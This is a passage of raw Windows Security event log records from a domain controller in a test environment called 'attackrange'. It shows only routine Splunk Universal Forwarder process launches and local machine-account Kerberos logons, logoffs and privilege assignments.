Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255764
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255766
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255765
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255767
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255770
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x35D932

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:34:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255769
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x35D932
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64733

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:34:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255768
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x35D932

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:35:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255771
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255772
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255774
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255773
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255776
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x458
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255775
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255777
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:35:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255780
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x361F1A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:35:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255779
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x361F1A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64746

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:35:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255778
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x361F1A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:36:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255781
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1084
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255783
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255782
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255784
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1260
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255786
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
